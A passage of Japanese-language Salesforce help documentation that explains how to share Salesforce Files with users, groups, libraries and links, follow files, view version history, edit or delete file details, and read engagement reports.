除されます。ファイルにアクセスできるのは、所有者および「すべてのデータの編集」権限を持つユーザのみ
です。Salesforce CRM Contentライブラリで作成されたファイルの場合は、ファイルが共有されているライブラリ
以外のすべての場所からファイルを削除します。
ファイルがコンテンツ配信を使用して共有されている場合、コンテンツ配信はアクセスできなくなりますが、
削除はされません。ファイルが Chatter の[リンクを使用した共有]を使用して共有されている場合、そのファイ
ルへのリンクは削除されます。

関連トピック:

投稿の表示
ファイルが共有されている場所の表示
他のユーザによるファイルの共有および共有解除の禁止

グループとのファイルの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter のファイルを公開または非公開グループと共有し、そのグループのメン
バーが各自のフィードからファイルを表示およびダウンロードできるようにし
ます。
非公開グループまたはリストに記載しないグループとファイルを共有すると、
そのグループのメンバーのみがファイルを参照できます。または、公開グルー
プとファイルを共有すると、そのグループのメンバーと会社のすべての Chatter

ユーザがファイルを参照できます。デフォルトでは、ファイルを参照できるユー
ザは誰でも、そのファイルを共有できます。
1 つ以上の Chatter グループとファイルを共有する手順は、次のとおりです。
1. 次のいずれかの場所からファイルを共有します。

• 共有するファイルの詳細ページ — [ファイルの共有設定] > [グループ
と] をクリックします。または、[共有者] リストで [すべて表示] をクリッ
クし、[共有設定] ダイアログボックスで [グループ] をクリックします。

• フィードのファイルの横 — [追加アクション] > [ファイルの共有設定] をクリックし、[共有設定] ダイア
ログボックスで [グループ] をクリックします。

• [ファイル] ページ、[所有ファイル] リスト、または [グループファイル] リストのファイルの横 — [グ
ループと共有] をクリックします。

• ファイルのフロート表示 — [ファイルを共有] をクリックし、[共有設定] ダイアログボックスで [グ
ループ] をクリックします。

• デスクトップの Salesforce Files Sync フォルダで、ファイルを右クリックして [Salesforce Files Sync] にマウス
ポインタを置き、[グループと共有] をクリックします。

2. ファイルを共有するグループの名前を入力し、名前をクリックして選択します。このステップを繰り返し
て他のグループと共有します。
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3. 各グループのアクセスレベルを選択します。デフォルトでは、非公開グループのアクセス権は[コラボレー
タ]、公開グループのアクセス権は [閲覧者] に設定されます。

4. 必要であれば、メッセージを投稿に追加します。メッセージで人やグループに @メンションして通知し、
その人やグループのフィードにファイルを投稿できます。

5. [共有]、[閉じる] をクリックします。ファイルは @メンションした共有先の各グループに投稿されます。
非公開グループまたはリストに記載しないグループと共有される非公開ファイルは、非公開で共有されたファ
イルになり、非公開共有アイコン ( ) が表示されます。ファイルはグループのフィードに投稿され、ファイ
ル所有者とグループメンバーのみがファイルを検索および表示できます。公開グループと共有されるファイル
は会社内のすべてのユーザが表示でき、会社のアイコン ( ) が表示され、グループのフィードに投稿されま
す。
[共有設定] ダイアログボックスで、その人の名前またはグループの名前の横にある をクリックして、人ま
たはグループとのファイルの共有を停止する。

メモ:

• [ドキュメント] タブのドキュメントおよび [メモと添付ファイル] 関連リストの添付ファイルは [ファイ
ル] ホームに表示されず、Salesforce Files として共有できません。

• コンテンツファイルがコンテンツパックまたはコンテンツ配信の一部である場合は、[別の人と共有]

に表示されているユーザ以外とも共有できます。
• ファイルは最大 100 回まで共有できます。これには、人およびグループと共有するファイル、および

リンクで共有するファイルが含まれます。ファイルの非公開での共有が最大共有回数の100に近くなっ
た場合は、ファイルをフィードに投稿して公開することを検討します。

関連トピック:

[グループファイル] リスト
ファイルが共有されている場所の表示

Salesforce Classic のユーザとのファイルの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルをユーザと非公開で共有し、ファイルの共有先であるユーザごとに[閲
覧者] または [コラボレータ] アクセス権を設定します。
ファイルを非公開で共有して、会社の特定のユーザのみが参照できるようにし
ます。デフォルトでは、ファイルを参照できるユーザは誰でも、そのファイル
を共有できます。
会社の 1 人以上のユーザとファイルを共有する手順は、次のとおりです。
1. 次のいずれかの画面から、ファイルの共有を開始します。

• 共有するファイルの詳細ページ — [ファイルの共有設定] > [別の人と共
有] をクリックします。または、[共有設定] をクリックし、[共有設定] ダ
イアログボックスで [人] をクリックします。

• フィードのファイルの横 — [追加アクション] > [ファイルの共有設定] を
クリックし、[共有設定] ダイアログボックスで [人] をクリックします。

• [ファイル] ホームページのファイルの横 — [別の人と共有] をクリックします。
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• ファイルのフロート表示 — [ファイルを共有] をクリックし、[共有設定] ダイアログボックスで [人]

をクリックします。
• デスクトップの Salesforce Files Sync フォルダで、ファイルを右クリックして [Salesforce Files Sync] にマウス

ポインタを置き、[別の人と共有] をクリックします。

2. ファイルを共有するユーザの名前を入力し、名前をクリックして選択します。
3. 設定するファイル権限を選択します。デフォルトではコラボレータ権限が付与されます。この権限では、

ファイルの参照、ダウンロード、共有、権限の変更、編集と、新しいバージョンのアップロードができま
す。ファイルの参照、ダウンロード、共有の権限を付与する場合は、[閲覧者] を選択します。

4. さらに他のユーザとファイルを共有する場合は、それらのユーザの名前を入力します。
5. 必要に応じて、受信者が受け取るメッセージに情報を追加します。
6. [共有]、[閉じる]をクリックします。受信者は、ファイルが共有されたことと、そのファイルへのリンクが

記載されたメッセージを受信します。Lightning Experience ユーザは、このメッセージをメール通知として受
信します。Salesforce Classicユーザは、Chatter タブの [私のメッセージ] ページに非公開の Chatter メッセージが
表示され、Chatter メッセージのメール通知を有効にしている場合はメール通知も受信します。

ファイルがすでに会社で共有されている場合を除き、ファイルは非公開で共有され、非公開共有アイコン ( )

が表示されます。他の場所に投稿されることはなく、ファイルを共有する特定ユーザのみがファイルを検索お
よび参照できます。ファイルがすでに会社で共有されている場合、会社アイコン ( ) がそのまま表示され、
会社のすべてのユーザがファイルを検索および参照できます。
[共有設定] ダイアログボックスで、ユーザの名前またはグループの名前の横にある をクリックして、その
ユーザまたはグループとのファイルの共有を停止します。ファイルにアクセスできるユーザを他のユーザが変
更できないようにする場合は、[他のユーザによる共有および共有解除を禁止] を選択します。

メモ:

• [ドキュメント] タブのドキュメントおよび [メモと添付ファイル] 関連リストの添付ファイルは [ファイ
ル] ホームに表示されず、Salesforce Files として共有できません。

• コンテンツファイルがコンテンツパックまたはコンテンツ配信の一部である場合は、[別の人と共有]

に表示されているユーザ以外とも共有できます。
• ファイルは最大 100 回まで共有できます。これには、人およびグループと共有するファイル、および

リンクで共有するファイルが含まれます。ファイルの非公開での共有が最大共有回数の100に近くなっ
た場合は、ファイルをフィードに投稿して公開することを検討します。

関連トピック:

ファイルが共有されている場所の表示

Salesforce Classic のライブラリとのファイルの共有
Salesforce Files の機能を使用しながら、ファイルをライブラリと共有して、コンテンツライブラリの権限設定機
能を活用します。
システム管理者が組織でこの機能を有効にしている場合は、ファイルをライブラリと共有できます。Salesforce

Classicの[ライブラリ]タブに、社内のライブラリと、各ライブラリに割り当てられている権限が表示されます。
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Chatterの [ライブラリと共有]オプションを使用すると、Chatterファイルをライブラリと共有して、ライブラリ
の権限セットを適用できます。

メモ: ファイルをライブラリと共有する場合は次の設定が必要です。
• ユーザの詳細ページの [Salesforce CRM Content ユーザ] 設定を有効にする。この設定は、システム管理

者が有効化できます。
• 組織の [[ファイル] ユーザインターフェースでは、ファイルをライブラリと共有できます] 設定を有効

にする。この設定は、システム管理者が [設定] の Salesforce CRM Content ページで有効化できます。

1. [ファイル] タブで、ライブラリと共有するファイルの横にある をクリックします。
2. [ライブラリと共有] を選択します。また、外部ファイル参照 (Files Connect ユーザのみに適用) については、

[参照を共有] を選択し、[共有設定] ダイアログボックスの [ライブラリ] を選択します。
3. その後の動作に応じて、次のいずれかの操作を実行します。

• [複数ライブラリへのコンテンツの公開]ダイアログボックスが表示された場合、ファイルが別のライブ
ラリによってすでに管理されていることを意味します。別のライブラリを 1 つ以上選択して、[公開] を
クリックします。

• [ファイルをライブラリと共有]確認メッセージが表示される場合は、ファイルがすでにコラボレータへ
のアクセス権を持つユーザと共有されているか、同期されていることを意味します。続行すると、コラ
ボレータおよびファイルを同期しているユーザに、閲覧者アクセス権のみが付与されます (ライブラリ
管理者が後から編集アクセス権を付与できます)。続行する場合は [共有]、取りやめる場合は [キャンセ
ル] をクリックします。

• [コンテンツの公開]ダイアログボックスが表示される場合は、ファイルのタイトルを入力します。共有
先のライブラリを選択して、タグをメタデータとして入力します。レコードタイプを選択し、省略可能
な情報を入力して、[公開] をクリックします。
ファイルが [ライブラリ] タブと、[ファイル] タブの [私のライブラリのファイル] に表示されます。

関連トピック:

Lightning Experience のライブラリでのフォルダの作成
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レコードへのファイルの添付

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードにファイルを添
付する
• オブジェクトに対する

「編集」

レコードへのファイルの添付は、Salesforce でコラボレーションしたり、情報を
常に整理したりする強力な方法です。商談、取引先、またはケースに関する情
報を必要な場所で保持できます。レコードへのアクセス権があるユーザと関連
ドキュメントを共有します。
ほとんどの Salesforce レコードに Microsoft® Office ドキュメント、Adobe® PDF、画像
および動画などのファイルを添付できます。[ファイル] 関連リストを使用して
ファイルを追加します。

メモ: レコードの [ファイル] 関連リストが表示されない場合、そのレコー
ドタイプのページレイアウトに追加 (ページ4209)するようシステム管理者に
依頼してください。

レコードにファイルを添付する
• Lightning Experience の [ファイル] 関連リストで、[ファイルを追加] をクリック

してローカルファイルまたは Salesforce ファイルを追加します。
• Salesforce Classic の [ファイル] 関連リストで、[ファイルをアップロード] をク

リックします。

メモ: Lightning Experience では、[メモ & 添付ファイル] 関連リストにアップ
ロードされたすべてのファイルは、添付ファイルではなく Salesforce ファイ
ルとしてアップロードされます。Salesforce Classic では、[メモ & 添付ファイ
ル] にアップロードされたファイルは、組織の設定に応じてSalesforce ファイ
ルまたは添付ファイルになります。Lightning ExperienceとSalesforce Classicのど
ちらでも、[ファイル] 関連リストにアップロードされたファイルは必ず
Salesforce ファイルになります。

制限
• ソリューションに添付されるファイルを含めて、関連リストに直接添付されるときの添付ファイルのサイ

ズ制限は 25 MB です。
• Chatter フィードの添付ファイルサイズの制限は 2 GB です。
• メールメッセージ (添付ファイルを含む) のサイズ制限は 25 MB です。
• 組織で [HTML で添付ファイルまたはドキュメントレコードとしてアップロードすることを許可しない]セキュ

リティ設定が有効になっている場合
は、.htm、.html、.htt、.htx、.mhtm、.mhtml、.shtm、.shtml、.acgi、.svgの拡張子を持つファ
イルのアップロードはできません。

他のユーザによるファイルの共有および共有解除の禁止
自分が所有しているファイルを他のユーザが共有および共有解除できないようにします。これは、既存の共有
には影響しません。
1. [ファイル] ホームで、必要なファイルを見つけます。
2. ファイルの [共有設定]または [ファイルを共有]に移動します (または、ファイルがライブラリ内にある場合

は、[ライブラリ] タブから [コンテンツの詳細] ページを開きます)。

3791

ファイルの作成、共有、および整理すべてのユーザとのコラボレーション



3. [他のユーザによる共有および共有解除を禁止] チェックボックスをオンにします。
4. [保存] をクリックします。

例: Chatter にファイルを投稿し、そのファイルを非公開グループと共有するとします。グループのメン
バーにファイルへのアクセスを許可し、メンバーによるそのファイルの共有は禁止するとします。この
場合、共有および共有解除を禁止することで、既存の共有はそのまま残り、自分またはシステム管理者
以外は新しい共有を追加できなくなります。

また、ContentVersionや他のオブジェクトの SharingOption項目を使用することで、他のユーザが API で
ファイルを共有、共有解除することも禁止できます。

Lightning Experience のユーザとのファイルの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルをユーザと非公開で共有し、ファイルの共有先であるユーザごとに[閲
覧者] または [コラボレータ] アクセス権を設定します。
ファイルを非公開で共有して、会社の特定のユーザのみが参照できるようにし
ます。デフォルトでは、ファイルを参照できるユーザは誰でも、そのファイル
を共有できます。
会社の 1 人以上のユーザとファイルを共有する手順は、次のとおりです。
1. 次のいずれかの画面から、ファイルの共有を開始します。

• [ファイル] ホームのファイルの横 — [共有] をクリックします。
• 共有するファイルの詳細ページ — [共有] をクリックします。
•

ファイルプレビュープレーヤー — をクリックします。

2. ファイルを共有するユーザの名前を入力し、名前をクリックして選択しま
す。複数のユーザと共有する場合は、追加の名前を入力します。

3. 設定するファイル権限を選択します。デフォルトではコラボレータ権限が付与されます。この権限では、
ファイルの参照、ダウンロード、共有、権限の変更、編集と、新しいバージョンのアップロードができま
す。ファイルの参照、ダウンロード、共有の権限を付与する場合は、[閲覧者] を選択します。

4. 必要に応じて、受信者が受け取るメッセージに情報を追加します。
5. [共有]、[閉じる]をクリックします。受信者は、ファイルが共有されたことと、そのファイルへのリンクが

記載されたメッセージを受信します。Lightning Experience ユーザは、このメッセージをメール通知として受
信します。Salesforce Classicユーザは、Chatterタブの [私のメッセージ] ページで非公開の Chatterメッセージを
受け取ります。また、Chatter メッセージのメール通知が有効になっている場合はメール通知も受信します。

[共有設定] ダイアログボックスで、ユーザの名前またはグループの名前の横にある をクリックして、その
ユーザまたはグループとのファイルの共有を停止します。
[ファイルを共有] ウィンドウから、[アクセス権のあるユーザ] をクリックして、ファイルを共有しているすべ
てのユーザを表示します。ファイル権限を更新するか、ユーザの名前またはグループの名前の横にある X をク
リックして、そのユーザまたはグループとのファイルの共有を停止します。ファイルにアクセスできるユーザ
を他のユーザが変更できないようにする場合は、[他のユーザによる共有および共有解除を禁止] を選択しま
す。
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メモ:

• [ドキュメント] タブのドキュメントおよび [メモと添付ファイル] 関連リストの添付ファイルは [ファイ
ル] ホームに表示されず、Salesforce Files として共有できません。

• コンテンツファイルがコンテンツパックまたはコンテンツ配信の一部である場合は、[別の人と共有]

に表示されているユーザ以外とも共有できます。
• ファイルは最大 100 回まで共有できます。これには、人およびグループと共有するファイル、および

リンクで共有するファイルが含まれます。ファイルの非公開での共有が最大共有回数の100に近くなっ
た場合は、ファイルをフィードに投稿して公開することを検討します。

リンクを使用したファイルの共有

使用可能なエディション: Salesforce Classic

使用可能なエディション: Group Edition、Enterprise Edition、Professional Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

Salesforce Classic では、ファイルリンクを作成し、メールまたは IM を使用してリンクを送信することによって、
誰とでもファイルを共有できます。リンクを作成すると、暗号化された URL が生成されるため、この URL を
リード、顧客、パートナー、同僚など、社内または社外の任意の受信者に送信できます。受信者がリンクをク
リックすると、Web ベースバージョンのファイルが表示され、簡単に表示とダウンロードができます。リンク
を使用した共有は Salesforce Classic で使用可能で、ほとんどの組織ではデフォルトでオンになっています。シス
テム管理者は、次の権限を有効にすることで、リンクを使用した共有を有効にできます。
1. [設定] から、[クイック検索]ボックスに「コンテンツ配信」と入力し、[コンテンツ配信]を選択します。[コ

ンテンツ配信を有効化] と [Salesforce Files のコンテンツ配信の作成を有効化] を選択します。
2. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット]を選択します。権限セット

を選択して [システム権限]をクリックし、[Salesforce Files のコンテンツ配信の作成および共有] を選
択します。

3. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。プロ
ファイルを選択して、[編集] をクリックします。[一般ユーザ権限] の [Salesforce Files のコンテンツ
配信の作成および共有]を選択します。Salesforce CRM Content共有ライブラリのファイルの場合は、この権限
は必要ありません。代わりに、ステップ 1 と 2 の実行後に、ユーザがライブラリメンバーであることと、
ライブラリ権限定義の [コンテンツの配信] がオンになっていることを確認します。

ファイルリンクを作成して共有する手順は、次のとおりです。
1. 次のいずれかの画面から、ファイルの共有を開始します。

• [ファイル] ホーム — [ファイルをアップロード] をクリックしてデバイスのファイルを選択し、[共有設
定] をクリックして [他の人とリンク] を選択します。社内または社外のユーザと共有するためのリンク
をコピーします。

• [ホーム] ページ — [新規作成] > [ファイル] をクリックし、[ファイルを選択] をクリックしてコンピュー
タのファイルを選択し、ドロップダウンメニューから [リンクを使用した共有] をクリックします。

• ファイル詳細ページ — [ファイルの共有設定] > [リンクを使用] をクリックします。
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• [共有設定] ダイアログボックス — [共有者] リストから [他の人とリンク] をクリックします。
• [ファイル] ページ、[所有ファイル] リスト、または [グループファイル] リストのファイルの横 — [ ] >

[リンクを使用した共有] をクリックします。
• フィードのファイルの横またはファイルのフロート表示 — [追加アクション] > [ファイルの共有設定] を

クリックし、[共有者] リストで [他の人とリンク] をクリックします。
• デスクトップの Salesforce Files Sync フォルダ — ファイルを右クリックして [Salesforce Files Sync] にマウス

ポインタを置き、[リンクを使用した共有] をクリックします。

2. 可能な場合は、[コピー] をクリックし (またはリンクを手動でコピーし)、リンクをメールまたは IM に貼り
付けます。ファイルリンク受信者が実行できるのは、ファイルの表示とダウンロードのみです。コラボレー
タにはなれません。

ファイルがすでに会社で共有されている場合を除き、ファイルは非公開で共有され、非公開共有アイコン ( )

が表示されます。他の場所に投稿されることはなく、ファイルを共有する特定ユーザのみがファイルを検索お
よび参照できます。ファイルがすでに会社で共有されている場合、会社アイコン ( ) がそのまま表示され、
会社のすべてのユーザがファイルを検索および参照できます。
リンクの共有を停止するには、[共有設定] ダイアログボックスで、リンクの横にある をクリックします。リ
ンクしている他のユーザは、ファイルにアクセスできなくなります。

メモ:

• [ドキュメント] タブのドキュメントおよび [メモと添付ファイル] 関連リストの添付ファイルは [ファイ
ル] ホームに表示されず、Salesforce Files として共有できません。

• ファイルは最大 100 回まで共有できます。これには、人およびグループと共有するファイル、および
リンクで共有するファイルが含まれます。ファイルの非公開での共有が最大共有回数の100に近くなっ
た場合は、ファイルをフィードに投稿して公開することを検討します。

関連トピック:

コンテンツ配信の作成

フィードの� ファイル更新
ファイルをフォローすると、フィードでのファイル更新の表示、ファイルのバージョン履歴の参照、おすすめ
ファイルの取得を行います。

ファイルのフォロー
ファイルをフォローすると、新しいバージョンのファイルのアップロードなどの更新が Chatter フィードに
表示されます。ファイルのフォローを停止すると、ファイルは [ファイル] リストには残りますが、フィー
ドにそのファイルの更新が表示されなくなります。
ファイルバージョン履歴の表示
おすすめファイル
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ファイルのフォロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルをフォローすると、新しいバージョンのファイルのアップロードなど
の更新が Chatter フィードに表示されます。ファイルのフォローを停止すると、
ファイルは [ファイル] リストには残りますが、フィードにそのファイルの更新
が表示されなくなります。
[+] [フォロー] をクリックして更新の表示を開始するか、[x] [フォロー解除] をク
リックして更新の表示を停止します。Lightning Experienceでは、ファイル詳細ペー
ジからファイルをフォローします。Salesforce Classicでは、フィード、ファイル詳
細ページ、またはファイルリストからファイルをフォローします。

メモ: ファイルをフォローするオプションは、Chatter を使用する組織でのみ
使用できます。

関連トピック:

新しいバージョンのファイルのアップロード

ファイルバージョン履歴の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイル詳細ページには、ファイルの現在のバージョン番号が表示されます。
[バージョン履歴] リストには、現在のバージョンを含め、アップロードされてい
るファイルのすべてのバージョンが表示されます。このリストからファイルを
ダウンロードして、更新者、更新日時、説明 (ある場合) を確認できます。ファ
イル詳細ページには常に、ファイルの最新バージョンが表示されます。

関連トピック:

新しいバージョンのファイルのアップロード
ファイルのフォロー
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おすすめファイル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter では、ファイルの参照またはダウンロードの人数で決まるファイルの人
気度に基づいてあなたがフォローを希望する可能性のあるファイルをおすすめ
します。おすすめの拡張リストを表示するには、[おすすめ] セクションの [さら
に表示]をクリックします。おすすめが新たに表示されない場合は、すべてのお
すすめファイルがすでにフォローされています。

関連トピック:

ファイルのフォロー

ファイルのプレビューおよび詳細
ファイルの詳細を参照、編集し、ファイルについてレポートします。

ファイルの詳細の表示
ファイル詳細の編集
ファイル詳細ページからのファイルの削除
ファイルが共有されている場所の表示
ファイルを参照可能なユーザ、およびそのユーザのアクセスレベルを確認します。ファイル詳細ページか
ら、ファイルが共有されているすべてのユーザまたはオブジェクトの完全なリストにアクセスできます。
ファイルおよびコンテンツのエンゲージメントレポート
ファイルがダウンロードされた回数、共有された回数、いいね! と言われた回数、およびコメントされた回
数を参照します。

ファイルの詳細の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルの詳細を開くには、フィード、ファイルリスト、ファイルのフロート
表示でファイル名をクリックするか、フィードのファイルの横にある[追加アク
ション] > [プレビュー] をクリックします。ファイル詳細ページでは、Salesforce

Files に関する詳細を確認できます。
ファイル詳細ページでは、次の操作を実行できます。
• ファイルをダウンロードせずに表示する。ドキュメントプレビューアの矢印

キーを使用して、各ページの表示、縮小、拡大、プレビュー幅や画面サイズ
の変更を行います。プレビューできるのは、ファイル所有者とそのファイル
へのアクセス権を持つユーザです。
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メモ: 暗号化されたファイル、パスワードで保護されたファイル、コピー保護された PDF、不明なファ
イル形式、25 MBを超えるファイルなど、プレビューできないファイルもあります。プレビューできな
いファイルについては、フィードやリストビューで[プレビュー]オプションを使用できません。また、
ファイルは汎用のファイル形式アイコンとしてフィードに表示されます。Microsoft Office 2007 機能の一
部はプレビューでは正しく表示されません。ファイルはプレビュー可能であるのにプレビューが存在
しない場合は、Salesforce システム管理者に問い合わせてください。プレビューを再生成できる可能性
があります。

• ファイルが、非公開 ( )、非公開共有 ( )、または社内で共有 ( ) のどれかを確認する。
• [ダウンロード] をクリックして、ファイルを開くか保存する。ファイルを参照できるユーザは誰でも、

そのファイルをダウンロードできます。
• [ファイルの共有設定]をクリックして、ファイルを人またはグループと共有するか、ファイルリンクに

よって共有するか、またはファイルが共有されている場所の表示を表示する。デフォルトで、ファイルを
参照できるユーザは誰でも、そのファイルを共有できます。

• [共有設定] ダイアログボックスの [非公開] をクリックして、共有されているすべての場所からファイルや
ファイルリンクを削除する (該当する場合)。または、Salesforce CRM Contentライブラリで作成されたファイル
の場合は [アクセス制限] をクリックして、ファイルが共有されているライブラリ以外のすべての場所から
ファイルを削除する。ファイルを非公開にしたり ( )、アクセスを制限したりできるのは、所有者および
「すべてのデータの編集」権限を持つユーザのみです。

• [新しいバージョンをアップロード] をクリックして、新しいバージョンでファイルを更新する。新しい
バージョンのファイルをアップロードできるのは、ファイル所有者、コラボレータ、および「すべてのデー
タの編集」権限を持つユーザのみです。

• [詳細を編集] をクリックして、ファイルの名前または説明を編集する。ファイルの詳細を編集できるの
は、ファイル所有者、コラボレータ、および「すべてのデータの編集」権限を持つユーザのみです。

• 「ファイルを同期」権限があり、ファイルの所有者である場合、コンピュータの Salesforce Files Sync フォル
ダとChatter間でファイルを同期するには、 [同期]をクリックします。ファイルの同期を停止するには、

[同期を解除] をクリックします。
• [削除] をクリックして、ファイルを削除する。ファイルを削除できるのは、ファイル所有者と「すべて

のデータの編集」権限を持つユーザのみです。
• ファイルの所有者が誰か、最後に更新されたのはいつかを確認する。
• ファイルの説明を確認し、編集アイコン ( ) をクリックして説明を編集するか、[説明を追加] をクリック

して説明を追加する。
• ファイルの現在のバージョン番号を確認し、[すべてのバージョンを表示] をクリックしてファイルのバー

ジョン履歴を表示する。
• [ファイルレポートを表示]をクリックして、ファイルがダウンロードされた回数、共有された回数、い

いね! の受信回数、およびコメントされた回数など、ファイルに関するデータを参照する。[ファイルレポー
トを表示]は、「レポート実行」および「公開フォルダのレポートの参照」権限を持つユーザにのみ表示さ
れます。

• [フォローする]をクリックして、ファイルをフォローするか、 をクリックしてファイルのフォローを
停止する。

• そのファイルを誰がフォローしているかを確認する。
• 「ファイルが共有されている場所の表示」を確認する。
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• Salesforce CRM Content で作成されたファイルの場合は、[コンテンツ詳細ページに移動] をクリックして、そ
のファイルのコンテンツの詳細の表示と編集を表示する。Salesforce CRM Content で作成されたファイルに対
して行う大部分の操作は、ファイル詳細ページではなく、そのファイルのコンテンツ詳細ページで行う必
要があります。

• ページの上部にある [ファイル] リンクまたは [Chatter] リンクをクリックして、[ファイル] リストまたは
Chatter ページに移動する。

• このファイルを参照した人が他にどのファイルを参照したかを確認する。同じユーザが参照しているファ
イルが他になければ、[ユーザがその他に参照しているもの] セクションはファイル詳細ページに表示され
ません。

関連トピック:

ファイルバージョン履歴の表示
ファイルが共有されている場所の表示

ファイル詳細の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルの名前と説明を編集する手順は、次のとおりです。
1. ファイル詳細ページで、 [詳細を編集]をクリックするか、説明の横にある

編集アイコン ( ) をクリックします。
2. 必要に応じて、ファイル名や説明を編集します。
3. [保存] をクリックします。
説明がなく新たに追加する場合は、[説明を追加]をクリックするか、説明の横に
ある編集アイコン ( ) をクリックします。
ファイル詳細を編集できるのは、ファイル所有者、コラボレータ、および「す
べてのデータの編集」権限を持つユーザです。

関連トピック:

ファイルの詳細の表示
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ファイル詳細ページからのファイルの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルの詳細ページの [削除] をクリックして、ファイルを削除し、それを共
有しているすべての場所からも削除します。ファイルがリンクを使用して共有
されている場合、リンクしている他のユーザはファイルにアクセスできなくな
ります。削除されたファイルを復元するには、[ホーム]ページで[ごみ箱]リンク
をクリックします。ファイルを選択し、[復元]をクリックします。ファイルは復
元され、ファイルに関連付けられていた共有もすべて復元されます。

メモ: ファイルを削除できるのは、ファイル所有者と「すべてのデータの
編集」権限を持つユーザのみです。ファイルに対して誰がどのような操作
を実行できるかについての詳細は、「私のファイルを参照できるユーザ
は?」を参照してください。

関連トピック:

フィードからのファイルとリンクの削除

ファイルが共有されている場所の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルを参照可能なユーザ、およびそのユーザのアクセスレベルを確認しま
す。ファイル詳細ページから、ファイルが共有されているすべてのユーザまた
はオブジェクトの完全なリストにアクセスできます。
ファイル詳細ページの [共有先] リストには、ファイル共有者とそのアクセスレ
ベルが表示されます。
Salesforce Classic では、[すべて表示] をクリックして [共有設定] を開きます。ここ
で次の操作を実行できます。
• ファイルの共有者とそれぞれの権限 (所有者、コラボレータ、閲覧者、また

はアクセス権限なし) を確認する。
• [共有設定] ダイアログボックスの [人] をクリックして、特定の人とファイル

を共有する。
• [共有設定] ダイアログボックスの [グループ] をクリックして、特定のグルー

プとファイルを共有する。
• [ライブラリ] をクリックして、ライブラリとファイルを共有する。
• [共有設定] ダイアログボックスの[他の人とリンク]をクリックして、ファイルリンクを作成して共有する。
• [非公開] をクリックして、共有されているすべての場所からファイルやファイルリンクを削除する。また

は、Salesforce CRM Content ライブラリで作成されたファイルの場合は [アクセス制限] をクリックして、ファ
イルが共有されているライブラリ以外のすべての場所からファイルを削除する。ファイルを非公開にした
り ( )、アクセスを制限したりできるのは、所有者および「すべてのデータの編集」権限を持つユーザのみ
です。
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• [共有設定] ダイアログボックスで、その人の名前またはグループの名前の横にある をクリックして、人
またはグループとのファイルの共有を停止する。

関連トピック:

ファイルの非公開
私のファイルを参照できるユーザは?

ファイルおよびコンテンツのエンゲージメントレポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

ファイルレポートを実行
して参照する
• 「レポート実行」

ファイルがダウンロードされた回数、共有された回数、いいね! と言われた回
数、およびコメントされた回数を参照します。

ファイルの詳細ページで、 [ファイルレポートを表示]をクリックし、ファイ
ルおよびコンテンツのエンゲージメントレポートを実行して参照します。この
レポートには、次の項目があります。

以下の操作が行われた回数項目

ファイルがダウンロードされた。合計ダウンロード数

ファイルがフィードに投稿された。こ
の数値には、ファイルが投稿のコメン
トに添付された回数は含まれません。

投稿

フィードのファイル投稿に対してコメ
ントがされた。

コメント投稿

フィードのファイル投稿がいいね! と言
われた。この数値には、ファイル投稿
のコメントに対して言われたいいね! は
含まれません。

いいね!

ファイルが [別の人と共有] および [グ
ループと共有]を使用して共有された。

共有

ユーザがファイル投稿の [共有] をク
リックすると、これは共有ではなく、
投稿として数えられます。

ファイルが [リンクを使用した共有]を
使用して共有された。ファイルが

リンク

Salesforce CRM Content ライブラリにアッ
プロードされる場合は、コンテンツ配
信も数えられます。
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例: ファイルおよびコンテンツのエンゲージメントレポートの数値は、ファイルのすべてのバージョンの
累計です。たとえば、ファイルに 2 つのバージョンがあり、バージョン 1 が 4 回、バージョン 2 が 5 回ダ
ウンロードされた場合、[合計ダウンロード数] はダウンロード回数を 9 回と報告します。

関連トピック:

レポートデータの絞り込み
レポートのエクスポート

Salesforce Files Sync

ファイルの詳細を参照、編集し、ファイルについてレポートします。

Salesforce Files Sync の使用開始
